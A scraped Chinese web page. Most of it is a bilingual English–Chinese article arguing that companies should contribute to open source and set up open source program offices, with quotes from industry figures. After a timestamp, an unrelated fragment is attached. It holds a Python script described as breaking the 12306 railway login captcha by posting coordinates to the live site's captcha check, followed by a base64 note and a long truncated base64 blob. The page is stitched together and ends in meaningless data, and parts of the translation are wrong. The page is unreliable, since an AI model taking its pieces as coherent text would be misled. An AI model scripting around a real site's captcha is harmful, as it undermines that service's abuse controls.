这个悲剧就是---当一种资源,无论是一个超限的公园还是一个开源项目,所有人都在使用而没有人贡献之时,最终都会因为过度使用和投入不足而崩溃坍塌。 This approach can save you money in the short term, but it can become a fatal flaw over time. Especially since open source software is everywhere, running everything. 这种方式可以在短期内为你节省资金,但随着时间的推移,它可能会变成项目里致命的缺陷。 Linux, for example, the open source operating system, runs on 96% of the world’s top 1 million servers, and 90% of all cloud infrastructure is on Linux. Not to mention that 85% of all smartphones in the world run Linux, in the form of the Android OS. 拿Linux来说,这个开源操作系统在全球前100万台服务器中运行率在96%以上,且这些服务器90%的云基础设施也都在Linux上。更不用说世界上85%的智能手机都运行着Linux,即Android操作系统。 Then there’s Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes — the list of ubiquitous open source projects goes on and on. 还有Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes--这些常见开源项目的列表还在逐渐增加着。 Without open source, much of today’s technical infrastructure would immediately grind to a halt. 如果没有开源,今天的大部分技术基础设施的建设也将会戛然而止。 “It is a real problem,” said Danil Mikhailov, executive director at Data.org, a nonprofit backed by the Mastercard Center for Inclusive Growth and The Rockefeller Foundation that promotes the use of data science to tackle society’s greatest challenges. “这是一个很现实的问题”,Data.org的执行董事Danil Mikhailov说,该组织是由万事达包容性发展中心和洛克菲勒基金会支持,旨在促进使用数据科学来应对当今社会所面临的巨大挑战的非营利性组织。 While nearly all organizations use open source software, only a minority contribute to those projects. Forty-two percent of participants in a survey released in September by The New Stack, Linux Foundation Research, and the TODO Group said tthey contribute at least sometimes to open source projects. 虽然几乎所有组织都在使用着开源软件,但只有少数组织为这些项目作出了贡献。The New Stack、Linux Foundation Research 和 TODO Group 在 9 月发布的一项调查中,42% 的参与者表示,他们至少有时会为开源项目做出贡献。 The same study showed that only 36% of organizations train their engineers to contribute to open source. 而同一项研究表明,只有36%的组织会培训他们的工程师为开源作出贡献。 Individual companies should support projects that they use the most and are critical to their success, Mikhailov said: “If you use, you contribute.” 个体公司应该支持贡献这些他们使用最多且对他们成功至关重要的项目,Mikhailov认为:“如果你使用开源,你就应该为他做出属于你自己的贡献。” Part2OSPO Benefits:Less Tech Debt,Better Recruiting Participating in open source communities — especially when guided by an in-house open source program office (OSPO) — can help ensure the health of projects critical to your organization’s success, improve those projects’ security, and allow your engineers to have more impact in the projects’ development road map. 参与开源社区——特别是在内部开源项目办公室(OSPO)的指导下——不仅可以保证对组织成功至关重要项目的健康发展,还可以提高项目安全性,同时可以允许工程师在项目发展规划中起到更大的影响。 Say, for example, a company uses an open source tool and modifies it a little to make it better. If that improvement isn’t contributed back to the community, then the official version of the open source project will start to diverge from what the company is using 例如,如果一家公司使用了开源工具,并对其进行了一些调整使其变得更好。但如果这项改进没有反馈到开源社区,那么开源项目的正式版本就会一开始与该公司所使用的版本有所不同。 “You start to grow technical debt because when the original source changes and you’ve got a different version. Those differences grow rapidly, compounding daily. It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant,” said Suzanne Ambiel, director, open source marketing and strategy at VMware. “当原始代码来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多。而这些差异是以天为单位迅速增长的。”VMware 开源营销和战略总监 Suzanne Ambiel 表示,“所以你很快就会变成一个开源项目里独一无二变体的‘自豪’用户和维护人员。” “The technical debt gets bigger and bigger and it gets very expensive for a company to manage.” “如果技术负债越来越多,那么公司的管理成本则会非常昂贵”。 Support for open source activity can also be a recruiting tool. “It’s really a talent magnet,” said Ambiel. “It’s one of the things that new hires look for.” 实际上对于开源活动的支持也变成了一种招聘途径。“这真是一块吸引人才的磁铁,”Ambiel说,“这也是新员工所寻求的“。 Some engineering managers might worry that open source contributions will detract from core product development, she said. Their rationale, she added, might run along the lines of, “I only have so much talent, and so many hours, and I need them to only work on things where I can measure and see the return on investment.” 她还提到,一些工程经理可能会对贡献开源而减损核心产品的开发的精力而感到担忧。她补充到,他们的理由有可能是这样的:“我只有有限的才华与时间,且我需要这些只做我认为可以度量且看到投资回报的事情。” But that attitude, she said, is shortsighted. Supporting employees who contribute to open source communities can build skills and develop talent, she said. 但她说,这是一种鼠目寸光的态度。支持开源社区并且作出贡献的员工,可以从中培养技能与增长才华。 Loris Degionni, chief technology officer and founder at Sysdig, a cloud security vendor, echoed this notion: “Finding employees who contribute to open source is a gold mine,” said. 云安全供应商 Sysdig 的首席技术官兼创始人 Loris Degionni 也赞同这一观点:“找出为开源做出贡献的员工无疑就找到一座金矿,”他说。 These employees are more capable of delivering features a company wants to use and merge them into community-supported standards, he said. And in a war for talent, companies that embrace open source are more attractive to developers. 他认为,这些参与开源的员工更具备公司想拥有的竞争力并将一些功能融入至社区所支持的标准中。且在人才争夺战中,拥抱开源的公司也更受到开发人员的青睐。 “Lastly, open source is driven by a community of technical experts you may not be able to hire,” he said. “When employees actively contribute and collaborate with these experts, they’ll be better informed of best practices and bring them back to your organization. “最后,开源项目是由你可能无法聘请的技术专家社区推动的”,他说,“当员工积极参与并于这些专家合作时,他们将能更好地深入这些最佳实践,并将这些收获带回到你的组织之中。” “You start to grow technical debt because when the original source changes and you’ve got a different version … It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant.” —Suzanne Ambiel, director, open source marketing and strategy, VMware “当原始数据来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多...所以你很快就会变成一个开源项目里独一无二变体的”自豪“用户和维护人员。” — Suzanne Ambiel,VMware 开源营销和战略总监 “All of this should be rewarded — developers shouldn’t have to spend their free time honing their skills, as your company will quickly see benefits from their efforts.” “但是这一切终究不会白费--开发人员不应该把业余时间用在磨练他们的技能上,因为你的公司很快就会在他们的努力中看到好处。” An OSPO, Degionni suggested, can help achieve these goals, as well as help prioritize contributions and ensure collaboration. In addition, they can help provide governance that mirrors what companies would have for internally developed applications. Degionni认为,OSPO(开源计划办公室)可以帮助公司实现这些目标,以及帮助确定贡献的优先级并确保合作的进行。除此之外,他们也可以对公司内部开发应用程序方面的治理提供相关帮助。 “Members of the open source team are also in a position to be great internal evangelists for open source technologies, and act as bridges between the organization and the broader community,” he added. “开源团队的成员也可以成为开源技术的伟大内部布道师,并充当组织与更广泛社区之间的桥梁。”他补充道。 In the September survey from The New Stack, Linux Foundation Research and the TODO Group, nearly 53% of organizations with OSPOs said they saw more innovation as a result of having an OSPO, while almost 43% said they saw increased participation in external open source projects. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月调查中,近 53% 的拥有 OSPO的组织表示,由于拥有了OSPO,他们看到了更多创新,而近 43% 的组织表示,他们在外部开源项目的参与度上有所增加。 Part3More OSPO Benefits:A Business Edge Contributing to open source communities doesn’t just help the communities, but the companies that contribute to them, said Tom Hickman, chief innovation officer at ThreatX, a cybersecurity firm. 网络安全公司 ThreatX 的首席创新官 Tom Hickman 表示,为开源社区做出贡献,不仅有助于社区,还有助于为社区做出贡献的公司。 “Growing the community of developers around a project helps the code base, and attracts more developers,” he said. “It can become a virtuous circle.” “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与”,他说,“这可以变成一个良性循环。” Also, companies that contribute to open source projects get twice the productive value from their use of open source than companies that don’t, according to research by Harvard Business School. 此外,根据哈佛商学院的研究,为开源项目作出贡献的公司从使用开源的项目中获得的生产价值,是不参与开源项目公司的两倍。 Many of the biggest companies in the world are contributing to open source, said Chris Aniszczyk, chief technology officer at Cloud Native Computing Foundation. He pointed to the Open Source Contributor Index as a reference for exactly just how much companies are doing. Cloud Native Computing Foundation 的首席技术官 Chris Aniszczyk 说,世界上许多巨头公司都为开源作出了贡献。他还提到,开源贡献者的指数是作为公司是否有所作为的参考。 The tech giants dominate the list: Google, Microsoft, Red Hat, Intel, IBM, Amazon, Facebook, VMware, GitHub and SAP are the top 10 contributors, in that order. But there are also a lot of end users on the top 100 list, said Aniszczyk, including Uber, the BBC, Orange, Netflix, and Square. 科技巨头占据了这份榜单的主导地位:谷歌、微软、红帽、英特尔、IBM、亚马逊、Facebook、VMware、GitHub 和 SAP 依次是排名前 10 的贡献者。但Aniszczyk 表示,但也有很多终端用户公司进入前 100 名,包括 Uber、BBC、Orange、Netflix 和 Square。 “We’ve always known working in upstream projects is not just the right thing to do —it’s the best approach to open source software development and the best way to deliver open source benefits to our customers,” he said. “It’s great to see that IT leaders recognize this as well.” “我们一直知道,在上游项目中工作不仅仅是关正确与否----它是开源软件开发的最佳方法,也是向客户提供开源福利的最佳方式“他说,“很高兴看到IT领导者们也认识到了这一点。” To contribute alongside these giants, companies need to have their own open source strategies, and having an open source program office can help. 为了和这些公司一起作出贡献,公司也需要有自己的开源策略,而拥有一个开源项目办公室则可以为其提供帮助。 “OSPOs provide a critical center of competency in a company when it comes to utilizing open source software,” he said. “在使用开源软件方面,OPSO为公司提供了一个至关重要的能力中心”他说。 It’s similar to the way that companies have security operations centers, he said. 这与公司拥有安全运营中心的方式类似,他说。 “Growing the community of developers around a project helps the code base, and attracts more developers. It can become a virtuous circle.” —Tom Hickman, chief innovation officer, ThreatX “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与,这可以变成一个良性循环。” ——Tom Hickman,ThreatX 首席创新官 “If you don’t make the investment in a security team, you generally don’t expect your software to be secure or be able to respond to security incidents in a timely fashion,” he said. “如果你没有对安全团队进行相应投资,你通常是不会期望你的软件是安全的,也无法及时响应安全事件。”他说。 “The same logic applies to OSPOs and is why you see many leading companies out there such as Apple, Meta, Twitter, Goldman Sachs, Bloomberg, and Google all have OSPOs. They are ahead of the curve.” “同样的逻辑也适用于 OSPO,这就是为什么你会看到许多领先的公司,例如 Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” Support for open source activity within your organization can become a differentiator and marketing opportunity for software vendors. 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 According to a Red Hat survey released in February, 82% of IT leaders are more likely to select a vendor who contributes to the open source community. 根据Red Hat2月分发布的一项调查,82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 Respondents said that when vendors support open source communities they are more familiar with open source processes and are more effective if customers have technical challenges. 受访者表示,当供应商支持开源社区时,就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 But it’s not just software vendors who benefit. 但收益的不仅仅是软件供应商们。 According to September’s survey by The New Stack, Linux Foundation Research, and the TODO Group, 57% of organizations with OSPOs use them to further strategic relationships and build partnerships. 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查,57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 Mark Hinkle started an open source program office back when he worked at Citrix a decade ago. He pointed out how having an OSPO in-house benefited the company. 十年前,Mark Hinkle 在 Citrix 工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “For us the biggest job was to educate our employees who weren’t familiar with open source to get involved and be good community members,” he said. “We also provided guidance on how to make sure our IP didn’t enter projects without proper understanding and we made sure we didn’t incorporate open source that conflicted with our enterprise software licensing.” “对于我们来说,最大的工作是让不熟悉开源的员工学会并参与其中,成为优秀的社区成员”,他说,“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导,并确保我们没有与我们企业软件许可相冲突的开源项目合作。” The OSPO also helped Citrix identify strategic opportunities for the company to participate in open source projects and trade organizations like The Linux Foundation, he said. 他说,OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 Today, he’s the CEO and co-founder of TriggerMesh, a cloud native, open source integration platform. 如今,他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 There are some significant economic benefits to participating in the open source ecosystem, he said. 他说,参与开源系统对公司来说有着重大的经济效益。 “We participate in Knative to share the development of our underlying platform but we develop value-added services as part of our business,” he said. “By sharing the R and D for the platform, it gives us more resources to develop our own differentiated technology.” “我们参与Knative是为了分享我们基础底层平台的开发,但作为业务的一部分,我们也拥有相关的增值服务。”他说,“通过共享该平台的研发,这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4How to Get Started in Open Source Sixty-three percent of companies in the September survey from The New Stack, Linux Foundation Research and the TODO Group said that having an OSPO was very or extremely critical to the success of their engineering or product teams, up from 54% in the previous annual study. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中,有 63% 的公司表示,拥有OSPO 对其工程或产品团队的成功至关重要,高于上一年度该项研究数据的 54%。 In particular, 77% said that their open source program had a positive impact on their software practices, such as improved code quality. 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响,例如提高了代码质量。 But companies can’t always contribute to every single open source project that they use. 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “First, thin the herd a little bit,” advised VMware’s Ambiel. “首先,节流一下”,VMware 的 Ambiel 建议道。 Companies should look at the projects that make the most sense for their use cases. This is an area where an OSPO can help set priorities and ensure technical and strategic alignment. 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 Then, developers should go and check out the projects themselves. Projects typically offer online documentation, often with contributor guides, governance documents, and lists of open issues. 之后,开发人员应该自己去了解一下。项目通常提供相关在线文档,一般包含贡献着指南、治理文档和未解决问题列表。 “For the projects that rise to the top of your strategic list, introduce yourself — say hello,” she said. “Go to the Slack channel or the distribution list and ask where they need help. Maybe they don’t need help and everything is good. Or maybe they can use a new person to review code.” “对于那些上升到你的战略清单顶端的项目,你可以介绍一下自己----打个招呼”,她说。“然后转到Slack频道或者分发列表,询问他们需要帮助的地方。也许他们不需要帮助,一切完好;又或者他们也有可能使用新人来审查核验代码。” An open source program office can not only help make a business case for contributing to the open source community, Ambiel said, but can help companies do it in a way that’s safe, secure and sound. Ambiel 说,开源项目办公室不仅可以帮助制定为开源社区做出贡献的商业案例,还可以帮助公司以安全、可靠和健全的方式来做这件事。 “If I work for a company and want to contribute to open source, I don’t want to accidentally disclose, divulge or undermine any patents,” she said. “An OSPO helps you make smart choices.” “如果我为一家公司工作,并想为开源做出贡献,我不想意外披露、泄露或破坏任何专利,”她说。“而OSPO可以帮助您做出明智的选择。” An OSPO can also help provide leadership and the guiding philosophy about supporting open source, she said. “It can provide guidance, mentorship, coaching and best practices.” 她说,OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Commitment to support open source has to start at the top, said Anaïs Urlichs, developer advocate at Aqua Security. Aqua Security的开发人员倡导者Anaïs Urlichs则认为,支持开源的承诺必须从高层开始。 “Too often,” she said, “companies do not value investment into open source, so employees are not encouraged to contribute to it.” 她说,“公司在多数时候往往不重视对开源的投资,所以员工自然而然不被鼓励对此作出贡献。” In those cases, employees with a passion for open source end up contributing during their free time, which is not sustainable. 在这些情况下,员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽,这对于开源的发展来说是不可持续的。 “If companies rely on open source projects, it is important to make open source contributions part of an engineer’s work schedule,” she said. “Some companies define a time percentage that employees can contribute to open source as part of their normal workday.” “如果公司对开源项目依赖度高,那么将开源贡献纳入工程师的日程安排是很重要的,”她说。“一些公司定义了员工可以为开源建设的时间百分比,将其作为他们正常工作日的一部分。” The New Stack is a wholly owned subsidiary of Insight Partners, an investor in the following companies mentioned in this article: Sysdig, Aqua Security. The New Stack 是 Insight Partners 的全资子公司,Insight Partners 是本文提到的以下公司的投资者:Sysdig、Aqua Security。 相关阅读 | Related Reading 《开源合规指南(企业篇)》正式发布,为推动我国开源合规建设提供参考 “目标->用户->指标”——企业开源运营之道|瞰道@谭中意 开源之夏邀请函——仅限高校学子开启 开源社简介 开源社成立于 2014 年,是由志愿贡献于开源事业的个人成员,依 “贡献、共识、共治” 原则所组成,始终维持厂商中立、公益、非营利的特点,是最早以 “开源治理、国际接轨、社区发展、开源项目” 为使命的开源社区联合体。开源社积极与支持开源的社区、企业以及政府相关单位紧密合作,以 “立足中国、贡献全球” 为愿景,旨在共创健康可持续发展的开源生态,推动中国开源社区成为全球开源体系的积极参与及贡献者。 2017 年,开源社转型为完全由个人成员组成,参照 ASF 等国际顶级开源基金会的治理模式运作。近八年来,链接了数万名开源人,集聚了上千名社区成员及志愿者、海内外数百位讲师,合作了近百家赞助、媒体、社区伙伴。 本篇文章为转载内容。原文链接:https://blog.csdn.net/kaiyuanshe/article/details/124976824。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-03 09:19:23
274
转载
转载文章
...而且它本身存储的尺寸大小也有限,最关键是用户可以是可见的,并可以随意的修改,很不安全。那如何又要安全,又可以方便的全局读取信息呢?于是,这个时候,一种新的存储会话机制:session 诞生了 突破12306验证码import requestsreq = requests.session() 保持会话def login(): 笔记本 win7 python3.6 获取验证码图片pic_response = req.get('https://kyfw.12306.cn/passport/captcha/captcha-image?login_site=E&module=login&rand=sjrand')codeImage = pic_response.contentfn = open('code2.png','wb')fn.write(codeImage)fn.close() 从验证码图片的左上角 (0,0)codeStr = input('请输入验证码坐标:')headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36'}data = {'answer': codeStr,'rand': 'sjrand','login_site': 'E'}response = req.post('https://kyfw.12306.cn/passport/captcha/captcha-check',data=data,headers=headers)print(response.text)login() base64伪加密 根本不算是一种加密算法 只不过它的数据看上去更像密文而已 64个字符来表示任意的二进制数据的方法 使用 A-Z A-Z 0 - 9 + / 这64个字符进行加密 import base64url = '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